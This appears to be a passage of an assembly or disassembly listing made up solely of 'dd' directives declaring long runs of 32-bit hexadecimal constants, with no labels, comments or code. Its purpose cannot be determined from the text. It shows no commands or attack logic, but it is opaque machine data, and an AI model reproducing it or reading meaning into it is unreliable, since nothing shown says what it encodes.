		dd 2069406h, 3F750598h,	82FA495Ch, 0B258A061h, 4DD83502h
		dd 41562159h, 6AF17131h, 125ABEDCh, 0B00C4A23h,	8BB6318Ah
		dd 0BCC45302h, 133FF4DEh, 7FEEE104h, 8133199Ch,	2DAC6F21h
		dd 1CA9950h, 52206D36h,	7F9195E9h, 4D828265h, 226801A6h
		dd 16C62340h, 8A08C188h, 4FDB2A9Bh, 6ECA08Dh, 0B0AA77D2h
		dd 46F4029Eh, 0F4E2515Bh, 2009A298h, 6A429F2Dh,	5080990h
		dd 27AE9973h, 0E8C084C6h, 1BF0304h, 0D1657376h,	14943271h
		dd 99F2C5Dh, 0B45DC3F0h, 64F78842h, 58CFB772h, 88CAE984h
		dd 560749B9h, 0B209A927h, 96A2051Eh, 33FC5EF2h,	9983C46Fh
		dd 7B02DDA9h, 89716008h, 73E868D7h, 5B6F2544h, 43AD2F8h
		dd 0FC68BC45h, 0A428FE9Bh, 31420716h, 0D47CB118h, 0B8977325h
		dd 0C850B59Ah, 9DEDC69Fh, 38171CD9h, 0D6F70745h, 0DD6D09BFh
		dd 0C1E086F4h, 0A310CE8h, 4DB068C8h, 838CA63Dh,	0D59E953h
		dd 0F4B6186Bh, 0BACEBEF4h, 0CA5FFE23h, 0DEEF7D2h, 0A0DD1AA2h
		dd 2D54EDD4h, 0EC5E69F8h, 12C50583h, 7C347291h,	2DA60B3h
		dd 0FF4EB145h, 0F8327BE4h, 923EFC08h, 0B1579F38h, 7AD168D9h
		dd 0A15E4733h, 396DD411h, 0B8971DB6h, 0C24A681Ah, 0AAAF6829h
		dd 0C366974Ah, 735E5D4Ch, 70628996h, 7955099Ch,	6AFD493Fh
		dd 32027D42h, 8FFE27ECh, 80C01E50h, 509E801h, 0FDB259A0h
		dd 4ED07F00h, 0CC137FEh, 4F996202h, 29396B7Ch, 0B415FC8h
		dd 805DF06Ah, 0F3FD6941h, 96C32494h, 2C729E0Ah,	9760EBDh
		dd 2CD8AF13h, 6ABB4133h, 8686A3E8h, 0EA05AB28h,	76B07E57h
		dd 0B25FFA8Bh, 5A417F7Dh, 0C9F45DDAh, 0B1A202C5h, 6D2FE006h
		dd 0B3090C54h, 585BBE20h, 0BB2C6262h, 6FCECF21h, 0CCB2EF06h
		dd 94E0ED96h, 6C572598h, 86A82050h, 4B68B900h, 0E18169A0h
		dd 0BC781D89h, 1AF18537h, 2C8E81Dh, 0DE48A1C9h,	56A16246h
		dd 95ED0282h, 7CDE5B79h, 5FFA8439h, 42A8D189h, 0A45AE6D0h
		dd 0DE9D3414h, 682454E4h, 0E98725E2h, 5709B09Ah, 0E46FA579h
		dd 74FA10A5h, 4702BE57h, 80A208E2h, 4A694183h, 0E760B501h
		dd 465AFF65h, 0F70259F9h, 41149A80h, 90D8F5h, 1FEB7B78h
		dd 0E91C4709h, 49B34F2Fh, 7EE0DCD3h, 8439AA06h,	0B3BA11DEh
		dd 76470A23h, 0A109EEC4h, 62C65EE0h, 330AB40Fh,	909E9A3Fh
		dd 859C861Eh, 0AE594E0Ah, 0FCBE331h, 986AB835h,	2217540Ah
		dd 720247B4h, 0E0504966h, 1ABC3A5h, 56A9CCF5h, 6BBA61E9h
		dd 0CC9E05F9h, 0EA17CA7Dh, 694C07E2h, 966D170Dh, 0D9EB0E8h
		dd 2F109753h, 0FEE15CAEh, 1EA1748Fh, 6E2943EBh,	3A0C8FDh
		dd 38C00B35h, 0A7017DFBh, 296CCF4Bh, 0AA6A10A0h, 0DD104E2Fh
		dd 0E4121D35h, 30BFBD77h, 20D70554h, 8A374934h,	6DA9E980h
		dd 0A14358BCh, 58E829Ch, 4CF6297Bh, 4EBC125Bh, 8009E23Bh
		dd 7B6901F1h, 0DA505055h, 80F6B4FDh, 0A44EB4C6h, 0A0ED2960h
		dd 0BCC408EAh, 0C8913C9Fh, 0E8E99268h, 5AF58970h, 0AD79D223h
		dd 0DB5759CAh, 4EEEA806h, 0C6DAA89Eh, 4E9173F5h, 3BD0E9C1h
		dd 234A7D29h, 1BE7480h,	27BF86Ch, 63D3C968h, 7CC85AFAh
		dd 789A13E9h, 96DE5C95h, 0D51FD311h, 65F439BFh,	0B060F989h
		dd 8A84B4B6h, 3FC4597Eh, 0EF4B1DE8h, 0A384E7D9h, 0E8725906h
		dd 8E92878h, 66020CDFh,	5F5B13F9h, 69C0AF42h, 0A6941CDCh
		dd 0EC8B3981h, 812E31E5h, 884BBD36h, 3D70E49Bh,	4F887512h
		dd 2084537Bh, 60A39835h, 5790196Bh, 0A11A786Bh,	40F5FBE9h
		dd 307A61EEh, 977401EFh, 4D5C5D71h, 0DE882795h,	0B3686116h
		dd 7B9C2F2Ah, 0C5644AE9h, 0E565AB09h, 0C08D6ABh, 0A826BC24h
		dd 8D6282Fh, 6B4B5F27h,	6E7C5EBh, 0C34E4364h, 5B144ECh
		dd 23C85831h, 774C89BDh, 0A76DEA73h, 2D9D8CCDh,	91DF2FC2h
		dd 8A8D020Ch, 83EF71A2h, 2080B45Fh, 0A958C3E7h,	0C1E097F7h
		dd 3530F755h, 10F96E28h, 41B77BB0h, 0B63B8E08h,	56E9C3A4h
		dd 1265491Fh, 9C840869h, 1D73F836h, 0DECB5D5Bh,	25D37AA1h
		dd 10DD9B26h, 0B991F521h, 0E7694F8Dh, 0FB6826A1h, 0F615893Bh
		dd 0C266DD9Eh, 526341FEh, 1E8BA11Fh, 9F50973h, 0FE107232h
		dd 2D80BDB2h, 71DB1EEFh, 0B09792A7h, 0EC1DBF7Ch, 0AEC75EBh
		dd 63736A27h, 0BDB3E58Dh, 168CBE81h, 216D71C1h,	6BD7C272h
		dd 22FF952Bh, 0DEFC15EEh, 35B1C181h, 9CEC4285h,	985AA5Bh
		dd 0BC16FF94h, 66586BB4h, 0C167CAC6h, 4E405AC3h, 5B731836h
		dd 88CE0134h, 0FF590809h, 43D9558Bh, 0AC5F8CBBh, 2CDCF031h
		dd 3B364326h, 0B4FDB1AFh, 0EAA8D26Eh, 0FA828574h, 73ED90BFh
		dd 0CC799595h, 3652680Eh, 3F2A39ABh, 0B54D78C1h, 6972D007h
		dd 2EF40507h, 0B0091EBEh, 559A0AC5h, 20278F39h,	0B541E4D9h
		dd 0BF40A8E2h, 605AAAC5h, 2C7D1319h, 10561FFDh,	68510B8Ch
		dd 6F507E42h, 162BBAC9h, 0EB69825Dh, 1F535DCDh,	1E6AE08h
		dd 0C3625668h, 9B2887Fh, 8C501DB2h, 0E77DFA46h,	10196813h
		dd 76015360h, 0E90D1B87h, 860BB5B1h, 27B5223h, 5EF28A20h
		dd 47D0433Ah, 234051CAh, 224B0268h, 2FA14330h, 0F74C1952h
		dd 0E00504D0h, 40E93818h, 0A47145FDh, 72534359h, 661708A3h
		dd 0C9BAEDABh, 4943BBEh, 5489BBB2h, 0B534F2DFh,	0B966715Ah
		dd 0F2255CBBh, 0B8C04AE0h, 0DCE9B491h, 996E88Ah, 93D9A7E3h
		dd 0C13B2CC2h, 1969A14Ah, 384F490Ch, 13404E62h,	4BD03DB8h
		dd 0B7575F14h, 0B2B5E216h, 107D7843h, 665024B6h, 0E4525853h
		dd 276D711Ch, 8DA0E557h, 2F0A61F1h, 0CD0C93ECh,	0D506FEF6h
		dd 0A9E7EBEFh, 0EE284B85h, 0A9765B83h, 0B7D32CF0h, 554251B6h
		dd 132B6EACh, 0F608AF7Eh, 1C7D25ADh, 23F0EDBFh,	2C022D36h
		dd 0EF7C05D7h, 97E53EFh, 595FC77Dh, 0E02C773h, 780A9210h
		dd 0FB9D8982h, 0DDAD04C9h, 42271444h, 4501E8A0h, 0F2CB3FD6h
		dd 0AADBF025h, 68029526h, 0FD2F4307h, 5EB03BF2h, 8C645B5Ch
		dd 2C537BC7h, 171C2CB7h, 0D11DAB2Dh, 7720D9C9h,	0EA80C2B0h
		dd 0D32D9290h, 6D239A5Ah, 0C7339521h, 6FC4E54Ah, 2D00F8F6h
		dd 20EE1FAEh, 0E5B0BE9h, 0C68522A2h, 7C2CAF58h,	22796120h
		dd 2FF65059h, 4F34189Ch, 248BAADAh, 0E27FF84Bh,	54B11302h
		dd 48E924FCh, 5C15223Ah, 7C121765h, 7490DDF9h, 54E46C4h
		dd 82FBC138h, 0B7F00h, 43481851h, 0D5312657h, 45ED1CBCh
		dd 0B87A6D9Dh, 7278724Fh, 496B8596h, 61BCCD02h,	9242F82Fh
		dd 0A0946CF7h, 2F721D39h
		dd 0BAE1072Fh, 0E90841C3h, 0FB072F27h, 4F0FF32Dh, 149E457Ch
		dd 567DC846h, 6AE720BDh, 4FDFF71Eh, 0B142F00Bh,	5A68D845h
		dd 81E4303Ah, 42F2B15Bh, 0A7E8228Bh, 600FE7BBh,	2E4B6201h
		dd 0D0F872D3h, 0D742FB0h, 0D2F70E17h, 0D3AA02BEh, 0D0C2F869h
		dd 34E12E81h, 5ADE68AEh, 1F8194F8h, 826B0806h, 7C826724h
		dd 70806292h, 0E204B49Fh, 0D65DA113h, 25DA4B91h, 5C8C1A1h
		dd 0D939C01h, 0E12AF686h, 1505C434h, 7BEA7213h,	3B160EC7h
		dd 5777A2BBh, 0DA72B229h, 2D10735Eh, 0CEEB72A4h, 385C45E1h
		dd 48C41ACh, 0FB29BFF2h, 0ECC0FF6Ch, 1758420h, 4149F148h
		dd 62D86108h, 2AC3022Fh, 0FC979691h, 413E09DFh,	788332DFh
		dd 0AC142E88h, 0D26152B4h, 0F15FC24Eh, 0FE04C88h, 7FEF8BC0h
		dd 0C1405D46h, 0D5060586h, 73E52E13h, 0C0FB0805h, 4A2989BAh
		dd 0F20F417Dh, 0F8333961h, 280B580Ch, 18E91417h, 19040F2Ah
		dd 88093A4Ch, 5ED7E938h, 0B457253Ch, 0B6DD9D11h, 0D2BBB036h
		dd 733EF80Dh, 12B7F29Dh, 41A62918h, 28E9061Ch, 0EBD16E9Ch
		dd 237DA4B0h, 516C812h,	0BFCB8999h, 89DABF62h, 5E174188h
		dd 0DF97AD6Eh, 4A5756D6h, 0EE5C34EBh, 5F89AEADh, 4A6B167Fh
		dd 0BFFB00BAh, 6C5F3A23h, 0A0953998h, 6A49C57Bh, 6BF25CBDh
		dd 0B9057620h, 3D5D0814h, 4D7FBE80h, 5DE9F0AAh,	680066D6h
		dd 4F666B11h, 0E4985558h, 73D8649h, 0EE8010B6h,	59F38882h
		dd 0D9288BEEh, 68FF91FFh, 387C53C1h, 934228C6h,	4AACE103h
		dd 0E2D1532Eh, 9B815D49h, 0E0E04E04h, 29C03C30h, 4D0FFEEDh
		dd 0E5C1050Bh, 0F1D36808h, 908A7B76h, 6CEA20D6h, 14BAE37h
		dd 0BC4B42A9h, 0C38E17A9h, 83EF97FFh, 0AA841A32h, 501540A2h
		dd 2516B0F7h, 0A65AA43Eh, 808C613Ah, 0AE38143h,	0C7290B4Ch
		dd 1525130Ch, 0A0F0844Eh, 5001BE4Ah, 6873F058h,	672854D5h
		dd 8B2800DFh, 56DDF772h, 82273AB8h, 882FF183h, 0BF0162EDh
		dd 679C3165h, 9498E46Fh, 4EA57709h, 0EDAE0047h,	0FA70B37Ch
		dd 7F340CC7h, 220C7E78h, 73A88602h, 6887CFE9h, 2D3DA9A1h
		dd 0C2C65A38h, 0C5B5C71Dh, 0BDC9991Eh, 673B5EF0h, 3B6B42C9h
		dd 0CEF2A560h, 0D8791928h, 120DC0EDh, 1307248h,	5ACC71FCh
		dd 0DB44D501h, 7E67081Eh, 0E6E9514Dh, 5E17337Eh, 4EE8D810h
		dd 32FAD8EEh, 566D89BFh, 4DC20986h, 10696254h, 96B9DF91h
		dd 577FEFB1h, 0EFDD3421h, 0A2FB0012h, 17B6A51Bh, 305A6809h
		dd 6CC3351Bh, 0DBE98717h, 5C3390FEh, 304AEF2Eh,	0A5C581EBh
		dd 0F72C7481h, 9FE35E4Fh, 1757F24Ah, 420E5253h,	5981851Eh
		dd 0BB3280EBh, 167CBD5Ah, 0AA5EF398h, 0B75058F2h, 76F6E6D7h
		dd 85EB3842h, 0C3BAF33Dh, 0B260E989h, 0D60145A2h, 0DB543E42h
		dd 92357427h, 0D8AEE16Bh, 4CCFC628h, 4C3864FCh,	834BC9FBh
		dd 0A9685CA9h, 0B2AB8477h, 0FEF4D36Eh, 0AB73D006h, 7F39E505h
		dd 0E1EC0929h, 2C788F50h, 0B3501196h, 0CBFE251Ah, 0CC85A950h
		dd 2B85084h, 4B56AC53h,	144E62AAh, 51D46202h, 0BCAA9255h
		dd 0DDAB4AA1h, 64936032h, 82607B41h, 0B11140B2h, 0C980230Eh
		dd 2EF1641Dh, 0C779FAB8h, 42CB8822h, 647D7B50h,	0E12028C8h
		dd 5B9949EDh, 6892E05Bh, 0C85F4FCBh, 0B7A437D1h, 3C800C19h
		dd 0F668091Bh, 52261961h, 0C1DF8738h, 30456CEDh, 2038615Dh
		dd 0CC9F4B94h, 0F825B61h, 8AE95CE4h, 0C72F20F7h, 0FBD30433h
		dd 0BD503278h, 0B42D585Ah, 4710AA4Eh, 925E08h, 25BA56CEh
		dd 0BA48C777h, 8CBCE989h, 7480459Ah, 6F3A100Eh,	0D1F74916h
		dd 0F10D8CBBh, 334CBC0Fh, 60A5746Bh, 6A34D412h,	2CE917BFh
		dd 38D9A2F9h, 99307A8Fh, 1EC53D7Ah, 0AC2293Bh, 1CF308A3h
		dd 8210F711h, 745B2757h, 0FF5A27ECh, 3E96B800h,	0AD2D4FEDh
		dd 7A8F0111h, 2A124625h, 0D4C1E97Bh, 27BC48A0h,	7796043Ch
		dd 77E852CDh, 0F5814505h, 64D8C283h, 16BE7A55h,	0AEA17FE9h
		dd 24ADC474h, 0C4D2AE38h, 1380942Ah, 600C2868h,	3C57B9EDh
		dd 0EDC12F14h, 2B68019Fh, 593DE066h, 96D18234h,	1FFA39D0h
		dd 0D0E91CAAh, 8EBD0025h, 0BF7B6972h, 0A63C05CFh, 8EF3109h
		dd 6804A5CAh, 8FED6327h, 5F45B325h, 0B9EDB40Ah,	8B33DC69h
		dd 78309BC4h, 0FB978681h, 8A6885F5h, 3C55A272h,	46749252h
		dd 1601AFE3h, 5B477354h, 0F5D24853h, 0BC12D197h, 0BD7EC012h
		dd 4B5D8080h, 62B9326Ah, 0F1290B5Fh, 0B90A984h,	5AD19052h
		dd 5D19F55h, 0CFC68100h, 0B054B170h, 0F4AC4A1Dh, 4870AF0Bh
		dd 69BAD9BFh, 44FD0533h, 177960DDh, 0E692C2C6h,	0B7B07572h
		dd 3103FDF8h, 7E9662Fh,	0B3BA8588h, 4BF85438h, 9BF5240h
		dd 304A59E6h, 5870C100h, 832C0ED2h, 0E90509EFh,	0CEAB9EE3h
		dd 152A7E85h, 0FE2DE273h, 6A504E05h, 4285A50Eh,	0C0DA2572h
		dd 57B626C1h, 55F4F020h, 0CE2A974Ah, 0E3698365h, 0D8F1BD86h
		dd 5D44A77Dh, 789A1567h, 74505D1Eh, 5958E200h, 8007EAC0h
		dd 0EC0B5FCAh, 0D07F7F13h, 0A7B9FA5Fh, 0F6C1439Fh, 0CEF352D1h
		dd 44258EBEh, 0E8ECD7D0h, 71042131h, 0F5299EEh,	1316775Ch
		dd 9B30B0A4h, 55D9D910h, 0B7A05BDh, 0FA09452Ah,	0FBE405B1h
		dd 0F8CD5BBEh, 0B8012710h, 33E95249h, 5A46BC74h, 8070B2B8h
		dd 7945E224h, 89FACD16h, 3C05E589h, 0EB2D787Bh,	5D031202h
		dd 0C73299DAh, 7DD01072h, 95FCCF4Ch, 0AC046F9h,	761E92Fh
		dd 2064ACC4h, 0F2C044EEh, 6E66F19Eh, 0C62FACB2h, 0DE770942h
		dd 187E7267h, 214E847Ah, 659BB398h, 0EC01BE97h,	6955A2C7h
		dd 4BBC6650h, 0A5403F97h, 0F6CEE085h, 0A468D80Ah, 0B1852A70h
		dd 0C2FE66A1h, 22DDB7E3h, 55D30167h, 0EA60715Eh, 811722B6h
		dd 2DAD687Ch, 429D0250h, 51D77C7Dh, 79D5DAEBh, 928B6878h
		dd 5378F0E1h, 94B08160h, 0B72B6E20h, 0C19436C5h, 798D5F0Fh
		dd 0A92AAA42h, 210D666h, 4BD15C32h, 7206C76h, 0B10759Dh
		dd 2049C168h, 475510D0h, 4F28EC74h, 83F4F80Eh, 9DC094E3h
		dd 0B3D5F2C1h, 6EA29D2Ah, 678D7D05h, 5CBDFD5Dh,	99773D2Fh
		dd 0E7BB4B34h, 769874C0h, 44EF047Bh, 82C92CB8h,	0CF2A092h
		dd 5FABF730h, 7A5B0D97h, 8AC12643h, 9F40AF05h, 3577D502h
		dd 0E4C0137h, 0D54789CBh, 0DCD6CE8Dh, 0D5C55F04h, 5491F613h
		dd 0F40D4B16h, 0C59DBC3Ch, 0EE52136Eh, 3826FB2Ch, 0F1D8503Bh
		dd 7EE90204h, 2C31ABADh, 0B32A368Ah, 0D36889F0h, 9AE904D9h
		dd 88FDAFAFh, 0DA25FA9Eh, 703FCB7Ah, 0A56E3D69h, 2405821Dh
		dd 6B00FFEDh, 0EB804004h, 1DBF454Bh, 0D665793h,	216B2B5Bh
		dd 59C07A1Fh, 59E27E82h, 5332BBFCh, 40F7265Ch, 5A0CE9E9h
		dd 0F030AB8Eh, 0B416DC68h, 529C6027h, 810E2093h, 806396E2h
		dd 68DAF74Ch, 307A5FCEh, 376761EAh, 35EB085Fh, 7A6D089Bh
		dd 761E963Ah, 3B0A99EFh, 0E84F3A8h, 2434BF76h, 8285F3BEh
		dd 7FF72EE9h, 0AB4F6EF9h, 0B2127DC8h, 585BC8F7h, 5697205h
		dd 0D0294A4Dh, 0CA07172Dh, 0D0F70016h, 9B849835h, 0C58927EFh
		dd 7264A64h, 0BA40AC28h, 0E3481F60h, 18CB0730h,	7601BE65h
		dd 7625466Fh, 0B07378B9h, 6BFB413Ch, 0BD383F9h,	315205CBh
		dd 9E4E0728h, 39B9511Fh, 347C650Ch, 2B6B009Eh, 523C2D5Fh
		dd 48133D83h, 0D9FCE0D1h, 286ED304h, 57C4AB54h,	9E86C2BEh
		dd 0DDB8B3C8h, 6DF97813h, 4FF5B1E1h, 7BB95564h,	7F4E09BBh
		dd 6057D1F7h, 30557138h, 40C1CBFh, 9ADF9F0Eh, 260E0712h
		dd 0BBB1C02h, 0FAB9C2E9h
		dd 0E6F5A0Bh, 2EE32DA4h, 21A84B6Eh, 3E7F3B23h, 4C267727h
		dd 4D11B045h, 0B04E918Ah, 7541138Ch, 0FE46FC98h, 47B86911h
		dd 7F0C7590h, 0DAF0C9CFh, 0D0E91759h, 0D5EE4EF8h, 35A43C5Eh
		dd 8168821Bh, 0BA85C0E4h, 0EC0D56Eh, 7F052C5Bh,	0BFCE0073h
		dd 3171E6B2h, 99BD4AB0h, 0EA2DBC11h, 0C378C203h, 57DA14E1h
		dd 0EFB00FC8h, 0FC4EDFEEh, 2A7A87F6h, 580FEBBh,	8E7098B8h
		dd 83EE4609h, 0EF0553E3h, 779E6008h, 13F680EFh,	68135C7Dh
		dd 0E4BC1C17h, 8C5552DFh, 5F4A5DBBh, 0DD2DBDE8h, 77BD2580h
		dd 524BDE33h, 8ADC90EEh, 4F09EFFCh, 999721E9h, 5DC645C7h
		dd 581E27F0h, 0FCED7BF6h, 67807282h, 0C2D363Eh,	7EBF5700h
		dd 95EE405h, 66E913FAh,	51093007h, 17094568h, 89596593h
		dd 25AD135h, 0E57944FDh, 628AAEF7h, 0E23E28D5h,	0D49383D7h
		dd 1481BD7Ch, 0C7797582h, 0A4C0F092h, 3A722303h, 0F79DEB81h
		dd 0D568893Bh, 45F5B642h, 0C38EFD5h, 6D5BC868h,	0C06C12E5h
		dd 9138BB4Eh, 91C4AE9h,	83DC5AFCh, 598AFC2h, 1B930053h
		dd 501A330Ch, 36C9A1B0h, 3E14C43Fh, 4AFB5249h, 682D804Fh
		dd 0D7B447E1h, 95F0E978h, 6CC19287h, 7EE16410h,	0FF5BF832h
		dd 0D89FE9ECh, 307B9D7Ah, 9DFCFCEh, 0E185D43Ch,	8C405C68h
		dd 0A135C579h, 0B1B09D81h, 0B7270BE6h, 3D507003h, 9EE3274Ah
		dd 0D7994104h, 6FA34D43h, 0A690BCE2h, 0E8476285h, 2EAFC44Ch
		dd 4A0A5C44h, 0E9094E1Ch, 0F9434248h, 8D46BF9h,	0F91217Ah
		dd 0B86FC8B7h, 7FE9B086h, 91CA959Eh, 167ECA57h,	0A39CBD32h
		dd 3007D89Dh, 0EE477F03h, 42253363h, 17FAF6F1h,	289AE156h
		dd 822CC911h, 0DD76E07Ch, 55646651h, 7ECDB180h,	0B8594BECh
		dd 18E90BA3h, 0DF27B074h, 0F8538121h, 92B5A8D2h, 0EECDC002h
		dd 933580A3h, 6A4E631Dh, 7402A742h, 257CFC1Dh, 0AADE7AA2h
		dd 0C4AA5A05h, 6FEC01CAh, 6E60251Dh, 0BE1097FCh, 0F0010979h
		dd 94175A05h, 95E98B2Bh, 0F4048961h, 0CF5EB151h, 2C1D72F8h
		dd 52D8422Dh, 3FE10CB6h, 21DF64DBh, 5C28CB4Ah, 0FDB040Bh
		dd 9187FD85h, 38216207h, 0E0BD302h, 55840B0h, 0DF410534h
		dd 0CC32147h, 0B92C65C3h, 390ED316h, 5E50238Dh,	4C144379h
		dd 6CCE3F1Fh, 5902278Bh, 0D1DC9925h, 6A90556Bh,	682536DCh
		dd 80D6D079h, 835A9EAFh, 0F8C33099h, 98B72C60h,	0E5C288DFh
		dd 0F6417821h, 9D2EF048h, 0F571214Dh, 0B104040Ch, 0A3757Ch
		dd 0E4551617h, 292C5AC2h, 3C08A5DDh, 4F5D28ACh,	8148B81Bh
		dd 0A89167Eh, 9CBED3Eh,	791B44E9h, 0AA1F89C8h, 2BCDA048h
		dd 906F66BDh, 300F40B7h, 5866C107h, 10B2C808h, 821754F1h
		dd 23D5463Eh, 2C19EA40h, 9677775h, 0B095E99Eh, 182FE2EFh
		dd 804E8436h, 28E139EBh, 0A198B0F5h, 0E4237737h, 0C550974Eh
		dd 0F8D8A474h, 28BD8916h, 67A00700h, 58290FAEh,	841BBFAh
		dd 13379F01h, 68AB216Ah, 7D366C6Ah, 1DF9960h, 14072DD8h
		dd 0AD730C09h, 3CE0A68Bh, 0EA58C14Ah, 0C7E20E90h, 7450AC1Bh
		dd 5DB41389h, 215FEF8Dh, 35C9282h, 0AFB54014h, 5F3EC9CCh
		dd 0BF131675h, 0D542CD54h, 600976B3h, 151C7CF5h, 58A6DEB7h
		dd 0F05EC1E9h, 36279941h, 0C07B69BFh, 7328D823h, 0C6E02E4Bh
		dd 2CDE4BF7h, 0A80EB73Fh, 0E9E9A074h, 80A4DE69h, 51E02BFEh
		dd 5E4AF189h, 0E99037F8h, 76225201h, 42D9312Bh,	0C2A02DC1h
		dd 987E46CEh, 0D3496F7Bh, 0DBF71DB6h, 0EC04CCCh, 0C5892D5Eh
		dd 0E50AFC4Ch, 0C1713E20h, 0CDA60B0Dh, 0CC2C26D9h, 70EAD95Bh
		dd 0B55A707Ch, 0FF9365FCh, 5D10F91Ah, 0E9C2C0F9h, 87A7C9D8h
		dd 9AB4012Eh, 3043C839h, 92EC2499h, 504F6230h, 5BCAE906h
		dd 6F28EFDCh, 649F00F1h, 0BD5513AAh, 9A5A07EFh,	0C503B8F8h
		dd 16544EC9h, 7C82D206h, 1F5E1BA5h, 57297D04h, 2A9D1809h
		dd 942FF3A3h, 5E4670D8h, 7E08A15Dh, 0A0554C38h,	274191B9h
		dd 4C424843h, 68608CFFh, 0ED27EEF2h, 4B1B3120h,	824E9059h
		dd 425A2D96h, 27218FF0h, 0E8D75FF8h, 5F1D685Dh,	1CC0321Eh
		dd 82E0D85Fh, 37C57F3h,	0C181DC50h, 0FECC86A6h,	80089DC9h
		dd 0ECC03F9Ch, 58E128F6h, 7038722Ch, 5E039818h,	0A675176Eh
		dd 14E98264h, 0E976F692h, 0B7F8BC75h, 789CD9D8h, 0EF011471h
		dd 598104EAh, 650775B6h, 0F2ABC388h, 0EEC488A4h, 0EC2DCAE2h
		dd 68D64010h, 845953A1h, 7429AE4Ah, 16FC56Fh, 0A71FE3F8h
		dd 0A60C820Ch, 161906h,	486E4DE6h, 6A1014Fh, 800C0806h
		dd 0F8E95714h, 0B1D99F5Ch, 0AAE2123Ch, 8CB24AF8h, 455ED6A3h
		dd 8407818Ch, 2D843CF5h, 68450129h, 7F731BECh, 0EBD38817h
		dd 8714ED80h, 9F5425E9h, 0D9042A1h, 0E25230ABh,	151B3D0Ch
		dd 0B839BA26h, 0B30249A1h, 0E535EF5Fh, 9BE1C904h, 4AB0F817h
		dd 0D6AA4A3h, 5EA91013h, 0B95A6FECh, 0E44B7C58h, 508A5C91h
		dd 53515450h, 0FEE113B3h, 1FA09CBh, 0C24CF884h,	165DCE19h
		dd 70D4FA0Bh, 0AADC9794h, 0A8718669h, 0BDCA5F9Dh, 93388613h
		dd 6856074Ah, 2B4B21AEh, 0E91A6C6Ch, 776FE862h,	3162E47Eh
		dd 76F15544h, 3516F5A5h, 5031F495h, 201C478Fh, 0BEC47781h
		dd 48817A2Fh, 55C2728Ch, 7F69D4D9h, 0CBB84714h,	16DE927h
		dd 22CCB805h, 7C8963C4h, 9BA227C2h, 97C99E7Fh, 0B70C3CF3h
		dd 95C32DD7h, 0EA2012DEh, 0D617776Eh, 5B2658BDh, 0D2C075Ch
		dd 0CFA19F08h, 6A5C4006h, 7D824B1Dh, 77472E4Bh,	7CC7D120h
		dd 1F505C09h, 17B92BA5h, 0E2295D1Fh, 2FEA83C3h,	315ED092h
		dd 0F93A056Fh, 2F40E5FBh, 87569904h, 7502EB12h,	70F429A4h
		dd 346A09BEh, 5D004E1Ch, 47250DB0h, 26BA5667h, 896FC410h
		dd 7E92AFEh, 0EA68169Eh, 0A8408C7Bh, 65933D17h,	2046E81Ch
		dd 3FA853EFh, 660B04D3h, 0F613DAF7h, 21F1ACD8h,	8F86745Bh
		dd 4AB1F68h, 0FBF0ED43h, 61593E20h, 377A1C5Fh, 34B87EEDh
		dd 0AAC68112h, 0B2E93242h, 947BE6C2h, 52681C79h, 13E9F36Ch
		dd 4DA271F7h, 292CBE5Bh, 69FC98CAh, 88FC4EC9h, 5C880453h
		dd 0BE6C1930h, 0E8EA5DC4h, 0C1FF9315h, 0C2A32F45h, 694FD97Dh
		dd 0EAB8F177h, 0BA5F88AEh, 80AE2112h, 0D4269DCCh, 1A38C57Eh
		dd 0F1A85F6Ah, 8CE02F2h, 5217FCA3h, 0CF341149h,	4164E2DCh
		dd 74E93B98h, 4F6C2310h, 9DDEF2E4h, 50E1E048h, 70446813h
		dd 18E93730h, 95749DBEh, 44797DC9h, 5F6DB6C2h, 552D134Eh
		dd 0BDA84657h, 0C7B86BC8h, 856859C1h, 7B70E62Fh, 0C9AB4BB3h
		dd 0D715E1C0h, 9D03104Eh, 880561F5h, 90E5C17Ah,	0ECCD08A4h
		dd 0F8139D67h, 0FC7F69A1h, 5B9AC67h, 52684A31h,	0D6FB0253h
		dd 0FDE02717h, 42975FFBh, 0B42FD8F4h, 881907DEh, 8989793Dh
		dd 0E912D366h, 9745B87Eh, 0C2B32946h, 5B1B2606h, 22628640h
		dd 0DE6FE90Dh, 777E2F74h, 0F700D0CEh, 3DB15F73h, 245FD7E9h
		dd 0C07A098Dh, 450DAE3Eh, 90E9781Dh, 0DA538CA6h, 4F4759Fh
		dd 0C116592Dh, 18675E9h, 8A74E5D1h, 0A7611FA3h,	28BB8C2Bh
		dd 43EEC329h, 82D2655Ah, 42AA7E05h, 0BA0192C1h,	7F408EEh
		dd 0F2CBBF31h, 0AD861FAh, 0CE015913h, 17F92BEAh, 1DB8F268h
		dd 0C5BFBD4Eh, 0E9E869E9h, 0B6685B05h, 0E3B03722h, 0AA849B31h
		dd 65A5A7A9h, 7984EB5Bh, 0C4A1F2AEh, 38EB7EEDh,	0A909B947h
		dd 0F668FA54h, 0FB02880h, 77C6621Bh, 0B82A0145h, 8DE2D66Eh
		dd 0EEE57E12h, 0AAD750B2h, 0B02C522Ch, 0BDB974EDh, 681582F0h
		dd 5043398Bh, 8C416199h
		dd 0E16C95F8h, 0D2EFE66Fh, 0ABE4FAADh, 4A6FE02Ch, 161C4E47h
		dd 0ABB7AB2Eh, 33D62914h, 4E83F52h, 0A7099C4Eh,	0F82C8060h
		dd 1809B67Ah, 5F06E2C1h, 48F280B0h, 54BF5502h, 0F77787E9h
		dd 0C2935D67h, 0AF68A844h, 5EFA2DE4h, 0BD6B4424h, 0B0AE139Eh
		dd 0C0739A9Dh, 12F0054Bh, 280A16C5h, 89E0ECEBh,	7E8FC80Dh
		dd 4254B5A8h, 7127EF81h, 0B33B3542h, 9FF78060h,	0D7AD0B5Fh
		dd 2821C074h, 4385BF9h,	2CC81DF5h, 40105427h, 2968555Eh
		dd 0C71AABD3h, 2EAF5F4Bh, 1D6465C6h, 8BE31034h,	0FE4A33FCh
		dd 570C471Ah, 537C53F0h, 571FFE26h, 610356C9h, 233EE668h
		dd 20AC400Bh, 17F3955Bh, 14759002h, 0A7FF5E02h,	4703D8EAh
		dd 0E6F6B02Fh, 9791CB0h, 91BE53E9h, 0F903CB82h,	67127B61h
		dd 8B9FFBA3h, 93D44AD2h, 8344EBABh, 6860B012h, 0FF32CA33h
		dd 0BA590484h, 0EAB37FACh, 54C97801h, 0AB7807EAh, 0F3884F75h
		dd 3D68828Dh, 65DE762Fh, 5197C12Ch, 0A8E32EE6h,	0A06C13Dh
		dd 7978EC68h, 4416C2Ch,	0DC255549h, 1772C101h, 959D2EC1h
		dd 0EC1257F6h, 0FAC22EF5h, 0D421F5FEh, 7C4E9E68h, 0BD869813h
		dd 6B5A81B0h, 0F82AD14h, 12A6379Dh, 8BEA69C2h, 63197108h
